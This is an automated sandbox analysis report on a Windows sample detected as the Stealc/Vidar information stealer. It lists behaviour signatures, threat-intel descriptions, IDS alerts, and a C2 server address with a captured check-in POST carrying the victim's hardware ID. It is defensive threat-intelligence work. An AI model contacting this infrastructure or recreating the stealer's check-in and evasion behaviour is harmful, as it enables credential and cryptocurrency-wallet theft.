Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1542955
MD5:	9305df8e055c06e0cae849b3cea64161
SHA1:	fb33a9ece2bb23e2680a7c9e80cbd2c861ed0c38
SHA256:	8a1a8c78b7a8b7d607556374787f069fc5fdbb1de7c48c232b5be55b97d2df9b
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3180 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9305DF8E055C06E0CAE849B3CEA64161)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/e2b1563c6670f193.php", "Botnet": "puma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2369497841.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2142556115.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 3180	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3180	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3180	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3180	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.870000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T00:31:03.626310+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49709	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T00:31:03.619688+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T00:31:03.901616+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T00:31:05.191737+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T00:31:03.909212+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49709	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T00:31:03.336888+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-27T00:31:05.729204+0200	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:13.675897+0200	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:15.395767+0200	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:16.527255+0200	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:17.341379+0200	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:18.993972+0200	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP
2024-10-27T00:31:19.432369+0200	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 41 44 46 30 43 38 33 42 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="hwid"F2ADF0C83B473625698399------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="build"puma------GIEBAECAKKFCBFIEGCBK--

Source: file.exe, 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2369497841.00000000010DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/freebl3.dllNU
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/mozglue.dll8T
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/mozglue.dllBT
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/mozglue.dllpT
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/msvcp140.dllRW
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/nss3.dll.
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/nss3.dllll
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/nss3.dllllPU
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/softokn3.dll-W
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/sqlite3.dll2U
Source: file.exe, 00000000.00000002.2385809285.0000000029701000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/vcruntime140.dllG
Source: file.exe, 00000000.00000002.2385809285.0000000029701000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0d60be0de163924d/vcruntime140.dllg
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/5C
Source: file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php#
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php#c
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php2
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php7cR
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php;cf
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpGb
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpKb6
Source: file.exe, 00000000.00000002.2385809285.0000000029701000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpQQBrowser
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpWc2
Source: file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php_
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.php_b
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpata
Source: file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpb
Source: file.exe, 00000000.00000002.2369497841.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpe
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpenSSH
Source: file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpf5
Source: file.exe, 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpion:
Source: file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpm
Source: file.exe, 00000000.00000002.2385809285.0000000029701000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpndowsApps
Source: file.exe, 00000000.00000002.2385809285.0000000029701000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpodus.wallet
Source: file.exe, 00000000.00000002.2369497841.0000000001139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/e2b1563c6670f193.phpsb.
Source: file.exe, 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206e2b1563c6670f193.phpion:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2390655847.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2381094171.000000001D7C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: IEHIIIJD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: IEHIIIJD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: IEHIIIJD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: IEHIIIJD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: IEHIIIJD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: IEHIIIJD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: IEHIIIJD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	String found in binary or memory: https://support.mozilla.org
Source: ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: IEHIIIJD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: IEHIIIJD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	String found in binary or memory: https://www.mozilla.org
Source: ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: ECBGCGCGIEGCBFHIIEBFCAFHIE.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2385809285.0000000029763000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2369497841.0000000001155000.00000004.00000020.00020000.00000000.sdmp, FHDHCAAKECFIDHIEBAKF.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CAFB700
